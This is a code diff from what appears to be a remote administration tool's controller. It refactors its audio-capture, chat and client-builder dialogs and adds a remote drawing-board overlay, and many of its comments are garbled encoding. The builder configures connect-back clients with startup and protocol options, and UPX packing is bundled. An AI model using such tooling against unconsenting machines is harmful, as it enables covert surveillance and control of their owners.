<None Include="res\2015Remote.ico" />
|
||||
<None Include="res\3.cur" />
|
||||
<None Include="res\4.cur" />
|
||||
<None Include="res\arrow.cur" />
|
||||
<None Include="res\audio.ico" />
|
||||
<None Include="res\bitmap\bmp00001.bmp" />
|
||||
<None Include="res\Bitmap\Online.bmp" />
|
||||
<None Include="res\bitmap\toolbar1.bmp" />
|
||||
<None Include="res\Bitmap\ToolBar_File.bmp" />
|
||||
<None Include="res\Bitmap\ToolBar_Main.bmp" />
|
||||
<None Include="res\cmdshell.ico" />
|
||||
<None Include="res\cursor5.cur" />
|
||||
<None Include="res\Cur\Drag.cur" />
|
||||
<None Include="res\Cur\MutiDrag.cur" />
|
||||
<None Include="res\dword.ico" />
|
||||
<None Include="res\file.ico" />
|
||||
<None Include="res\icon1.ico" />
|
||||
<None Include="res\My2015Remote.rc2" />
|
||||
<None Include="res\pc.ico" />
|
||||
<None Include="res\string.ico" />
|
||||
<None Include="res\upx.exe" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Text Include="..\..\ReadMe.md" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Filter Include="file">
|
||||
<UniqueIdentifier>{17217547-dc35-4a87-859c-e8559529a909}</UniqueIdentifier>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
@@ -11,23 +11,15 @@
|
||||
|
||||
IMPLEMENT_DYNAMIC(CAudioDlg, CDialog)
|
||||
|
||||
CAudioDlg::CAudioDlg(CWnd* pParent, IOCPServer* IOCPServer, CONTEXT_OBJECT *ContextObject)
|
||||
: CDialog(CAudioDlg::IDD, pParent)
|
||||
CAudioDlg::CAudioDlg(CWnd* pParent, Server* IOCPServer, CONTEXT_OBJECT *ContextObject)
|
||||
: DialogBase(CAudioDlg::IDD, pParent, IOCPServer, ContextObject, IDI_ICON_AUDIO)
|
||||
, m_bSend(FALSE)
|
||||
{
|
||||
m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_ICON_AUDIO)); //<2F><><EFBFBD><EFBFBD>ͼ<EFBFBD><CDBC>
|
||||
m_bIsWorking = TRUE;
|
||||
m_bThreadRun = FALSE;
|
||||
m_iocpServer = IOCPServer; //Ϊ<><CEAA><EFBFBD>ij<EFBFBD>Ա<EFBFBD><D4B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֵ
|
||||
m_ContextObject = ContextObject;
|
||||
|
||||
m_hWorkThread = NULL;
|
||||
m_nTotalRecvBytes = 0;
|
||||
sockaddr_in ClientAddress;
|
||||
memset(&ClientAddress, 0, sizeof(ClientAddress)); //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ض<EFBFBD>ip
|
||||
int iClientAddressLen = sizeof(ClientAddress);
|
||||
BOOL bResult = getpeername(m_ContextObject->sClientSocket,(SOCKADDR*)&ClientAddress, &iClientAddressLen);
|
||||
|
||||
m_strIPAddress = bResult != INVALID_SOCKET ? inet_ntoa(ClientAddress.sin_addr) : "";
|
||||
}
|
||||
|
||||
CAudioDlg::~CAudioDlg()
|
||||
@@ -60,11 +52,11 @@ BOOL CAudioDlg::OnInitDialog()
|
||||
SetIcon(m_hIcon,FALSE);
|
||||
|
||||
CString strString;
|
||||
strString.Format("%s - <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>", m_strIPAddress);
|
||||
strString.Format("%s - <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>", m_IPAddress);
|
||||
SetWindowText(strString);
|
||||
|
||||
BYTE bToken = COMMAND_NEXT;
|
||||
m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(BYTE));
|
||||
m_ContextObject->Send2Client(&bToken, sizeof(BYTE));
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD> <20>ж<EFBFBD>CheckBox
|
||||
m_hWorkThread = CreateThread(NULL, 0, WorkThread, (LPVOID)this, 0, NULL);
|
||||
@@ -92,7 +84,7 @@ DWORD CAudioDlg::WorkThread(LPVOID lParam)
|
||||
LPBYTE szBuffer = This->m_AudioObject.GetRecordBuffer(&dwBufferSize); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
if (szBuffer != NULL && dwBufferSize > 0)
|
||||
This->m_iocpServer->OnClientPreSending(This->m_ContextObject, szBuffer, dwBufferSize); //û<><C3BB><EFBFBD><EFBFBD>Ϣͷ
|
||||
This->m_ContextObject->Send2Client(szBuffer, dwBufferSize); //û<><C3BB><EFBFBD><EFBFBD>Ϣͷ
|
||||
}
|
||||
This->m_bThreadRun = FALSE;
|
||||
|
||||
@@ -122,19 +114,16 @@ void CAudioDlg::OnReceiveComplete(void)
|
||||
|
||||
void CAudioDlg::OnClose()
|
||||
{
|
||||
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĭ<EFBFBD><C4AC>ֵ
|
||||
#if CLOSE_DELETE_DLG
|
||||
m_ContextObject->v1 = 0;
|
||||
#endif
|
||||
CancelIo((HANDLE)m_ContextObject->sClientSocket);
|
||||
closesocket(m_ContextObject->sClientSocket);
|
||||
CancelIO();
|
||||
// <20>ȴ<EFBFBD><C8B4><EFBFBD><EFBFBD>ݴ<EFBFBD><DDB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (IsProcessing()) {
|
||||
ShowWindow(SW_HIDE);
|
||||
return;
|
||||
}
|
||||
|
||||
m_bIsWorking = FALSE;
|
||||
WaitForSingleObject(m_hWorkThread, INFINITE);
|
||||
CDialog::OnClose();
|
||||
#if CLOSE_DELETE_DLG
|
||||
delete this;
|
||||
#endif
|
||||
DialogBase::OnClose();
|
||||
}
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD>ͱ<EFBFBD><CDB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Զ<EFBFBD><D4B6>
|
||||
|
||||
@@ -5,17 +5,14 @@
|
||||
|
||||
// CAudioDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
||||
|
||||
class CAudioDlg : public CDialog
|
||||
class CAudioDlg : public DialogBase
|
||||
{
|
||||
DECLARE_DYNAMIC(CAudioDlg)
|
||||
|
||||
public:
|
||||
CAudioDlg(CWnd* pParent = NULL, IOCPServer* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL); // <20><><EFBFBD><D7BC><EFBFBD>캯<EFBFBD><ECBAAF>
|
||||
CAudioDlg(CWnd* pParent = NULL, Server* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL); // <20><><EFBFBD><D7BC><EFBFBD>캯<EFBFBD><ECBAAF>
|
||||
virtual ~CAudioDlg();
|
||||
CONTEXT_OBJECT* m_ContextObject;
|
||||
IOCPServer* m_iocpServer;
|
||||
HICON m_hIcon;
|
||||
CString m_strIPAddress;
|
||||
|
||||
DWORD m_nTotalRecvBytes;
|
||||
BOOL m_bIsWorking;
|
||||
BOOL m_bThreadRun;
|
||||
|
||||
@@ -73,6 +73,7 @@ void CBuildDlg::DoDataExchange(CDataExchange* pDX)
|
||||
DDX_Control(pDX, IDC_STATIC_OTHER_ITEM, m_OtherItem);
|
||||
DDX_Control(pDX, IDC_COMBO_BITS, m_ComboBits);
|
||||
DDX_Control(pDX, IDC_COMBO_RUNTYPE, m_ComboRunType);
|
||||
DDX_Control(pDX, IDC_COMBO_PROTO, m_ComboProto);
|
||||
}
|
||||
|
||||
|
||||
@@ -148,6 +149,7 @@ void CBuildDlg::OnBnClickedOk()
|
||||
CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", "", typ, false, DLL_VERSION, 0, startup, HeaderEncV1 };
|
||||
g_ConnectAddress.SetServer(m_strIP, atoi(m_strPort));
|
||||
g_ConnectAddress.runningType = m_ComboRunType.GetCurSel();
|
||||
g_ConnectAddress.protoType = m_ComboProto.GetCurSel();
|
||||
|
||||
if (!g_ConnectAddress.IsValid()) {
|
||||
SAFE_DELETE_ARRAY(szBuffer);
|
||||
@@ -257,6 +259,10 @@ BOOL CBuildDlg::OnInitDialog()
|
||||
m_ComboRunType.InsertString(RUNNING_PARALLEL, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>");
|
||||
m_ComboRunType.SetCurSel(RUNNING_RANDOM);
|
||||
|
||||
m_ComboProto.InsertString(PROTO_TCP, "TCP");
|
||||
m_ComboProto.InsertString(PROTO_UDP, "UDP");
|
||||
m_ComboProto.SetCurSel(PROTO_TCP);
|
||||
|
||||
m_OtherItem.ShowWindow(SW_HIDE);
|
||||
|
||||
return TRUE; // return TRUE unless you set the focus to a control
|
||||
|
||||
@@ -33,4 +33,5 @@ public:
|
||||
CStatic m_OtherItem;
|
||||
CComboBox m_ComboBits;
|
||||
CComboBox m_ComboRunType;
|
||||
CComboBox m_ComboProto;
|
||||
};
|
||||
|
||||
340
server/2015Remote/CDrawingBoard.cpp
Normal file
340
server/2015Remote/CDrawingBoard.cpp
Normal file
@@ -0,0 +1,340 @@
|
||||
#include "stdafx.h"
|
||||
#include "CDrawingBoard.h"
|
||||
#include "afxdialogex.h"
|
||||
#include "Resource.h"
|
||||
|
||||
IMPLEMENT_DYNAMIC(CDrawingBoard, CDialog)
|
||||
|
||||
CDrawingBoard::CDrawingBoard(CWnd* pParent, Server* IOCPServer, CONTEXT_OBJECT* ContextObject)
|
||||
: DialogBase(IDD_DRAWING_BOARD, pParent, IOCPServer, ContextObject, IDI_ICON_DRAWING),
|
||||
m_bDrawing(false)
|
||||
{
|
||||
m_bTopMost = true;
|
||||
m_bTransport = true;
|
||||
m_bMoving = false;
|
||||
m_bSizing = false;
|
||||
m_pInputEdit = nullptr;
|
||||
}
|
||||
|
||||
CDrawingBoard::~CDrawingBoard()
|
||||
{
|
||||
if (m_pInputEdit != nullptr) {
|
||||
m_pInputEdit->DestroyWindow();
|
||||
delete m_pInputEdit;
|
||||
m_pInputEdit = nullptr;
|
||||
}
|
||||
if (m_font.GetSafeHandle())
|
||||
m_font.DeleteObject();
|
||||
if (m_pen.GetSafeHandle())
|
||||
m_pen.DeleteObject();
|
||||
}
|
||||
|
||||
void CDrawingBoard::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
CDialog::DoDataExchange(pDX);
|
||||
}
|
||||
|
||||
BEGIN_MESSAGE_MAP(CDrawingBoard, CDialog)
|
||||
ON_WM_CLOSE()
|
||||
ON_WM_SIZE()
|
||||
ON_WM_PAINT()
|
||||
ON_WM_LBUTTONDOWN()
|
||||
ON_WM_MOUSEMOVE()
|
||||
ON_WM_LBUTTONUP()
|
||||
ON_WM_WINDOWPOSCHANGED()
|
||||
ON_WM_RBUTTONDOWN()
|
||||
ON_COMMAND(ID_DRAWING_TOPMOST, &CDrawingBoard::OnDrawingTopmost)
|
||||
ON_COMMAND(ID_DRAWING_TRANSPORT, &CDrawingBoard::OnDrawingTransport)
|
||||
ON_COMMAND(ID_DRAWING_MOVE, &CDrawingBoard::OnDrawingMove)
|
||||
ON_COMMAND(ID_DRAWING_SIZE, &CDrawingBoard::OnDrawingSize)
|
||||
ON_COMMAND(IDM_CLEAR_DRAWING, &CDrawingBoard::OnDrawingClear)
|
||||
ON_COMMAND(ID_DRAWING_TEXT, &CDrawingBoard::OnDrawingText)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
void CDrawingBoard::OnReceiveComplete()
|
||||
{
|
||||
// 接收时处理逻辑(暂空)
|
||||
}
|
||||
|
||||
void CDrawingBoard::OnClose()
|
||||
{
|
||||
CancelIO();
|
||||
if (IsProcessing()) {
|
||||
ShowWindow(SW_HIDE);
|
||||
return;
|
||||
}
|
||||
DialogBase::OnClose();
|
||||
}
|
||||
|
||||
void CDrawingBoard::OnPaint()
|
||||
{
|
||||
CPaintDC dc(this);
|
||||
|
||||
CPen* pOldPen = dc.SelectObject(&m_pen);
|
||||
|
||||
for (const auto& path : m_paths)
|
||||
{
|
||||
if (path.size() < 2) continue;
|
||||
|
||||
dc.MoveTo(path[0]);
|
||||
for (size_t i = 1; i < path.size(); ++i)
|
||||
dc.LineTo(path[i]);
|
||||
}
|
||||
|
||||
if (m_bDrawing && m_currentPath.size() >= 2)
|
||||
{
|
||||
dc.MoveTo(m_currentPath[0]);
|
||||
for (size_t i = 1; i < m_currentPath.size(); ++i)
|
||||
dc.LineTo(m_currentPath[i]);
|
||||
}
|
||||
|
||||
CFont* pOldFont = dc.SelectObject(&m_font);
|
||||
dc.SetTextColor(RGB(0, 0, 0));
|
||||
dc.SetBkMode(TRANSPARENT);
|
||||
|
||||
for (const auto& entry : m_Texts)
|
||||
dc.TextOut(entry.first.x, entry.first.y, entry.second);
|
||||
|
||||
dc.SelectObject(pOldFont);
|
||||
|
||||
dc.SelectObject(pOldPen);
|
||||
}
|
||||
|
||||
void CDrawingBoard::OnLButtonDown(UINT nFlags, CPoint point)
|
||||
{
|
||||
m_bDrawing = true;
|
||||
m_currentPath.clear();
|
||||
m_currentPath.push_back(point);
|
||||
|
||||
SetCapture();
|
||||
}
|
||||
|
||||
void CDrawingBoard::OnMouseMove(UINT nFlags, CPoint point)
|
||||
{
|
||||
if (m_bDrawing)
|
||||
{
|
||||
m_currentPath.push_back(point);
|
||||
Invalidate(FALSE);
|
||||
|
||||
// 发送当前点
|
||||
BYTE pkg[1 + sizeof(POINT)] = { CMD_DRAW_POINT };
|
||||
memcpy(pkg + 1, &point, sizeof(POINT));
|
||||
m_ContextObject->Send2Client((BYTE*)pkg, sizeof(pkg));
|
||||
}
|
||||
}
|
||||
|
||||
void CDrawingBoard::OnLButtonUp(UINT nFlags, CPoint point)
|
||||
{
|
||||
if (m_bDrawing)
|
||||
{
|
||||
m_bDrawing = false;
|
||||
m_currentPath.push_back(point);
|
||||
ReleaseCapture();
|
||||
|
||||
m_paths.push_back(m_currentPath);
|
||||
Invalidate();
|
||||
|
||||
// 发送结束命令,表示当前路径完成
|
||||
BYTE endCmd = CMD_DRAW_END;
|
||||
m_ContextObject->Send2Client(&endCmd, 1);
|
||||
}
|
||||
}
|
||||
|
||||
void CDrawingBoard::OnWindowPosChanged(WINDOWPOS* lpwndpos)
|
||||
{
|
||||
CDialog::OnWindowPosChanged(lpwndpos);
|
||||
if (!m_bMoving) return;
|
||||
|
||||
CRect rect;
|
||||
GetWindowRect(&rect); // 获取当前窗口屏幕位置
|
||||
BYTE pkg[1 + sizeof(CRect)] = { CMD_MOVEWINDOW };
|
||||
if (!m_bSizing) {
|
||||
rect.right = rect.left;
|
||||
rect.bottom = rect.top;
|
||||
}
|
||||
memcpy(pkg + 1, &rect, sizeof(CRect));
|
||||
m_ContextObject->Send2Client((BYTE*)pkg, sizeof(pkg));
|
||||
}
|
||||
|
||||
void CDrawingBoard::OnSize(UINT nType, int cx, int cy)
|
||||
{
|
||||
CDialog::OnSize(nType, cx, cy);
|
||||
if (!m_bSizing) return;
|
||||
|
||||
// 发送新的窗口尺寸到客户端
|
||||
int sizeData[2] = { cx, cy };
|
||||
BYTE pkg[sizeof(sizeData) + 1] = { CMD_SET_SIZE };
|
||||
memcpy(pkg + 1, &sizeData, sizeof(sizeData));
|
||||
m_ContextObject->Send2Client((PBYTE)pkg, sizeof(pkg));
|
||||
}
|
||||
|
||||
void CDrawingBoard::OnDrawingTopmost()
|
||||
{
|
||||
m_bTopMost = !m_bTopMost;
|
||||
BYTE cmd[2] = { CMD_TOPMOST, m_bTopMost };
|
||||
m_ContextObject->Send2Client((PBYTE)cmd, sizeof(cmd));
|
||||
HMENU hMenu = ::GetMenu(this->GetSafeHwnd());
|
||||
int n = m_bTopMost ? MF_CHECKED : MF_UNCHECKED;
|
||||
::CheckMenuItem(hMenu, ID_DRAWING_TOPMOST, MF_BYCOMMAND | n);
|
||||
}
|
||||
|
||||
|
||||
void CDrawingBoard::OnDrawingTransport()
|
||||
{
|
||||
m_bTransport = !m_bTransport;
|
||||
BYTE cmd[2] = { CMD_TRANSPORT, m_bTransport ? 150 : 255 };
|
||||
m_ContextObject->Send2Client((PBYTE)cmd, sizeof(cmd));
|
||||
HMENU hMenu = ::GetMenu(this->GetSafeHwnd());
|
||||
int n = m_bTransport ? MF_CHECKED : MF_UNCHECKED;
|
||||
::CheckMenuItem(hMenu, ID_DRAWING_TRANSPORT, MF_BYCOMMAND | n);
|
||||
}
|
||||
|
||||
|
||||
void CDrawingBoard::OnDrawingMove()
|
||||
{
|
||||
m_bMoving = !m_bMoving;
|
||||
HMENU hMenu = ::GetMenu(this->GetSafeHwnd());
|
||||
int cmd = m_bMoving ? MF_CHECKED : MF_UNCHECKED;
|
||||
::CheckMenuItem(hMenu, ID_DRAWING_MOVE, MF_BYCOMMAND | cmd);
|
||||
}
|
||||
|
||||
|
||||
void CDrawingBoard::OnDrawingSize()
|
||||
{
|
||||
m_bSizing = !m_bSizing;
|
||||
HMENU hMenu = ::GetMenu(this->GetSafeHwnd());
|
||||
int cmd = m_bSizing ? MF_CHECKED : MF_UNCHECKED;
|
||||
::CheckMenuItem(hMenu, ID_DRAWING_SIZE, MF_BYCOMMAND | cmd);
|
||||
}
|
||||
|
||||
|
||||
BOOL CDrawingBoard::OnInitDialog()
|
||||
{
|
||||
DialogBase::OnInitDialog();
|
||||
|
||||
SetIcon(m_hIcon, TRUE);
|
||||
SetIcon(m_hIcon, FALSE);
|
||||
|
||||
CString str;
|
||||
str.Format("%s - 画板演示", m_IPAddress);
|
||||
SetWindowText(str);
|
||||
|
||||
m_font.CreateFont(
|
||||
20, 0, 0, 0, FW_NORMAL, FALSE, FALSE, FALSE,
|
||||
DEFAULT_CHARSET, OUT_DEFAULT_PRECIS, CLIP_DEFAULT_PRECIS,
|
||||
DEFAULT_QUALITY, DEFAULT_PITCH | FF_SWISS, _T("Arial"));
|
||||
|
||||
m_pen.CreatePen(PS_SOLID, 2, RGB(0, 0, 0));
|
||||
|
||||
HMENU hMenu = ::GetMenu(this->GetSafeHwnd());
|
||||
::CheckMenuItem(hMenu, ID_DRAWING_TOPMOST, MF_BYCOMMAND | MF_CHECKED);
|
||||
::CheckMenuItem(hMenu, ID_DRAWING_TRANSPORT, MF_BYCOMMAND | MF_CHECKED);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
||||
void CDrawingBoard::OnDrawingClear()
|
||||
{
|
||||
m_paths.clear();
|
||||
m_currentPath.clear();
|
||||
m_Texts.clear();
|
||||
BYTE cmd[2] = { CMD_DRAW_CLEAR, 0 };
|
||||
m_ContextObject->Send2Client((PBYTE)cmd, sizeof(cmd));
|
||||
if (m_hWnd && IsWindow(m_hWnd))
|
||||
::InvalidateRect(m_hWnd, NULL, TRUE); // 重绘整个窗口,清除痕迹
|
||||
}
|
||||
|
||||
void CDrawingBoard::OnRButtonDown(UINT nFlags, CPoint point)
|
||||
{
|
||||
m_RightClickPos = point; // 记录鼠标点
|
||||
ClientToScreen(&m_RightClickPos); // 变为屏幕坐标
|
||||
|
||||
CMenu menu;
|
||||
menu.LoadMenu(IDR_MENU_POPUP);
|
||||
CMenu* pSubMenu = menu.GetSubMenu(0);
|
||||
|
||||
if (pSubMenu)
|
||||
pSubMenu->TrackPopupMenu(TPM_LEFTALIGN | TPM_RIGHTBUTTON, m_RightClickPos.x, m_RightClickPos.y, this);
|
||||
|
||||
CDialog::OnRButtonDown(nFlags, point);
|
||||
}
|
||||
|
||||
|
||||
void CDrawingBoard::OnDrawingText()
|
||||
{
|
||||
if (m_pInputEdit != nullptr) {
|
||||
m_pInputEdit->DestroyWindow();
|
||||
delete m_pInputEdit;
|
||||
m_pInputEdit = nullptr;
|
||||
}
|
||||
|
||||
CPoint ptClient = m_RightClickPos;
|
||||
ScreenToClient(&ptClient);
|
||||
|
||||
m_pInputEdit = new CEdit();
|
||||
m_pInputEdit->Create(WS_CHILD | WS_VISIBLE | WS_BORDER | ES_AUTOHSCROLL,
|
||||
CRect(ptClient.x, ptClient.y, ptClient.x + 200, ptClient.y + 25),
|
||||
this, 1234); // 控件 ID 可自定
|
||||
m_pInputEdit->SetFocus();
|
||||
}
|
||||
|
||||
BOOL CDrawingBoard::PreTranslateMessage(MSG* pMsg)
|
||||
{
|
||||
if (m_pInputEdit && pMsg->hwnd == m_pInputEdit->m_hWnd)
|
||||
{
|
||||
if (pMsg->message == WM_KEYDOWN && pMsg->wParam == VK_RETURN)
|
||||
{
|
||||
CString strText;
|
||||
m_pInputEdit->GetWindowText(strText);
|
||||
|
||||
// TODO: 将文字位置和内容加入列表并触发绘图
|
||||
if (!strText.IsEmpty()) {
|
||||
CPoint ptClient = m_RightClickPos;
|
||||
ScreenToClient(&ptClient);
|
||||
m_Texts.push_back(std::make_pair(ptClient, strText));
|
||||
SendTextsToRemote(ptClient, strText);
|
||||
}
|
||||
|
||||
m_pInputEdit->DestroyWindow();
|
||||
delete m_pInputEdit;
|
||||
m_pInputEdit = nullptr;
|
||||
|
||||
return TRUE; // 吞掉回车
|
||||
}
|
||||
}
|
||||
return CDialog::PreTranslateMessage(pMsg);
|
||||
}
|
||||
|
||||
void CDrawingBoard::SendTextsToRemote(const CPoint& pt, const CString& text)
|
||||
{
|
||||
if (text.IsEmpty()) return;
|
||||
|
||||
// 1. 转换为 UTF-8
|
||||
// CString 是 TCHAR 类型,若项目是多字节字符集,则需先转为宽字符
|
||||
#ifdef _UNICODE
|
||||
LPCWSTR lpWideStr = text;
|
||||
#else
|
||||
// 从 ANSI 转为宽字符
|
||||
int wideLen = MultiByteToWideChar(CP_ACP, 0, text, -1, NULL, 0);
|
||||
std::wstring wideStr(wideLen, 0);
|
||||
MultiByteToWideChar(CP_ACP, 0, text, -1, &wideStr[0], wideLen);
|
||||
LPCWSTR lpWideStr = wideStr.c_str();
|
||||
#endif
|
||||
|
||||
int utf8Len = WideCharToMultiByte(CP_UTF8, 0, lpWideStr, -1, NULL, 0, NULL, NULL);
|
||||
if (utf8Len <= 1) return; // 空或失败
|
||||
|
||||
std::vector<char> utf8Text(utf8Len - 1); // 去掉末尾的 \0
|
||||
WideCharToMultiByte(CP_UTF8, 0, lpWideStr, -1, utf8Text.data(), utf8Len - 1, NULL, NULL);
|
||||
|
||||
// 2. 构造发送 buffer
|
||||
std::vector<char> buffer;
|
||||
buffer.push_back(CMD_DRAW_TEXT); // 自定义命令码
|
||||
|
||||
buffer.insert(buffer.end(), (char*)&pt, (char*)&pt + sizeof(CPoint));
|
||||
buffer.insert(buffer.end(), utf8Text.begin(), utf8Text.end());
|
||||
|
||||
// 3. 发送
|
||||
m_ContextObject->Send2Client((LPBYTE)buffer.data(), (ULONG)buffer.size());
|
||||
}
|
||||
61
server/2015Remote/CDrawingBoard.h
Normal file
61
server/2015Remote/CDrawingBoard.h
Normal file
@@ -0,0 +1,61 @@
|
||||
#pragma once
|
||||
#include "IOCPServer.h"
|
||||
#include "afxwin.h"
|
||||
|
||||
// CDrawingBoard 对话框
|
||||
|
||||
class CDrawingBoard : public DialogBase
|
||||
{
|
||||
DECLARE_DYNAMIC(CDrawingBoard)
|
||||
|
||||
public:
|
||||
CDrawingBoard(CWnd* pParent = nullptr, Server* IOCPServer = NULL, CONTEXT_OBJECT* ContextObject = NULL);
|
||||
virtual ~CDrawingBoard();
|
||||
|
||||
#ifdef AFX_DESIGN_TIME
|
||||
enum { IDD = IDD_DRAWING_BOARD };
|
||||
#endif
|
||||
|
||||
VOID OnReceiveComplete();
|
||||
|
||||
afx_msg void OnPaint();
|
||||
afx_msg void OnLButtonDown(UINT nFlags, CPoint point);
|
||||
afx_msg void OnMouseMove(UINT nFlags, CPoint point);
|
||||
afx_msg void OnLButtonUp(UINT nFlags, CPoint point);
|
||||
afx_msg void OnWindowPosChanged(WINDOWPOS* lpwndpos);
|
||||
afx_msg void OnSize(UINT nType, int cx, int cy);
|
||||
afx_msg void OnRButtonDown(UINT nFlags, CPoint point);
|
||||
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX);
|
||||
|
||||
void OnClose();
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
|
||||
BOOL PreTranslateMessage(MSG* pMsg);
|
||||
|
||||
void SendTextsToRemote(const CPoint& pt, const CString& inputText);
|
||||
|
||||
private:
|
||||
bool m_bTopMost; // 置顶
|
||||
bool m_bTransport; // 半透明
|
||||
bool m_bMoving; // 位置跟随
|
||||
bool m_bSizing; // 大小跟随
|
||||
bool m_bDrawing; // 是否正在绘图
|
||||
std::vector<CPoint> m_currentPath; // 当前路径点
|
||||
std::vector<std::vector<CPoint>> m_paths; // 所有路径
|
||||
CPoint m_RightClickPos; // 右键点击位置
|
||||
CEdit* m_pInputEdit = nullptr; // 类成员变量
|
||||
std::vector<std::pair<CPoint, CString>> m_Texts;
|
||||
CFont m_font; // 添加字体成员
|
||||
CPen m_pen; // 画笔
|
||||
public:
|
||||
afx_msg void OnDrawingTopmost();
|
||||
afx_msg void OnDrawingTransport();
|
||||
afx_msg void OnDrawingMove();
|
||||
afx_msg void OnDrawingSize();
|
||||
virtual BOOL OnInitDialog();
|
||||
afx_msg void OnDrawingClear();
|
||||
afx_msg void OnDrawingText();
|
||||
};
|
||||
@@ -29,6 +29,11 @@ std::string GetMasterId() {
|
||||
return id;
|
||||
}
|
||||
|
||||
std::string GetHMAC(int offset) {
|
||||
const Validation * v= (Validation*)(g_MasterID + offset);
|
||||
return v->Checksum;
|
||||
}
|
||||
|
||||
extern "C" void shrink64to32(const char* input64, char* output32); // output32 必须至少 33 字节
|
||||
|
||||
extern "C" void shrink32to4(const char* input32, char* output4); // output4 必须至少 5 字节
|
||||
|
||||
@@ -16,6 +16,8 @@ const Validation* GetValidation(int offset=100);
|
||||
|
||||
std::string GetMasterId();
|
||||
|
||||
std::string GetHMAC(int offset=100);
|
||||
|
||||
bool IsPwdHashValid(const char* pwdHash = nullptr);
|
||||
|
||||
bool WritePwdHash(char* target, const std::string& pwdHash, const Validation &verify);
|
||||
|
||||
@@ -13,13 +13,9 @@
|
||||
// CChat dialog
|
||||
|
||||
|
||||
CChat::CChat(CWnd* pParent, ISocketBase* pIOCPServer, ClientContext* pContext)
|
||||
: DialogBase(CChat::IDD, pParent, pIOCPServer, pContext, 0)
|
||||
CChat::CChat(CWnd* pParent, Server* pIOCPServer, ClientContext* pContext)
|
||||
: DialogBase(CChat::IDD, pParent, pIOCPServer, pContext, IDI_CHAT)
|
||||
{
|
||||
m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_CHAT));
|
||||
m_iocpServer = pIOCPServer;
|
||||
m_pContext = pContext;
|
||||
m_bOnClose = FALSE;
|
||||
}
|
||||
|
||||
|
||||
@@ -51,13 +47,13 @@ BOOL CChat::OnInitDialog()
|
||||
CDialog::OnInitDialog();
|
||||
|
||||
CString str;
|
||||
str.Format(_T("Զ<EFBFBD>̽<EFBFBD≯ - %s"), m_pContext->PeerName.c_str()),
|
||||
str.Format(_T("Զ<EFBFBD>̽<EFBFBD≯ - %s"), m_ContextObject->PeerName.c_str()),
|
||||
SetWindowText(str);
|
||||
m_editTip.SetWindowText(_T("<EFBFBD><EFBFBD>ʾ: <20>Է<EFBFBD><D4B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD>ڷ<EFBFBD><DAB7><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD>Żᵯ<C5BB><E1B5AF>"));
|
||||
m_editNewMsg.SetLimitText(4079);
|
||||
// TODO: Add extra initialization here
|
||||
BYTE bToken = COMMAND_NEXT_CHAT;
|
||||
m_iocpServer->Send(m_pContext, &bToken, sizeof(BYTE));
|
||||
m_ContextObject->Send2Client(&bToken, sizeof(BYTE));
|
||||
SetIcon(m_hIcon, TRUE); // Set big icon
|
||||
SetIcon(m_hIcon, FALSE); // Set small icon
|
||||
|
||||
@@ -71,8 +67,8 @@ void CChat::OnReceive()
|
||||
|
||||
void CChat::OnReceiveComplete()
|
||||
{
|
||||
m_pContext->m_DeCompressionBuffer.Write((LPBYTE)_T(""), 1);
|
||||
char* strResult = (char*)m_pContext->m_DeCompressionBuffer.GetBuffer(0);
|
||||
m_ContextObject->m_DeCompressionBuffer.Write((LPBYTE)_T(""), 1);
|
||||
char* strResult = (char*)m_ContextObject->m_DeCompressionBuffer.GetBuffer(0);
|
||||
SYSTEMTIME st;
|
||||
GetLocalTime(&st);
|
||||
char Text[5120] = { 0 };
|
||||
@@ -93,7 +89,7 @@ void CChat::OnButtonSend()
|
||||
return; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϢΪ<CFA2>ղ<EFBFBD><D5B2><EFBFBD><EFBFBD><EFBFBD>
|
||||
}
|
||||
m_editTip.ShowWindow(SW_HIDE);
|
||||
m_iocpServer->Send(m_pContext, (LPBYTE)str, lstrlen(str) + sizeof(char));
|
||||
m_ContextObject->Send2Client((LPBYTE)str, lstrlen(str) + sizeof(char));
|
||||
SYSTEMTIME st;
|
||||
GetLocalTime(&st);
|
||||
char Text[5120] = { 0 };
|
||||
@@ -114,7 +110,12 @@ void CChat::OnButtonEnd()
|
||||
|
||||
void CChat::OnClose()
|
||||
{
|
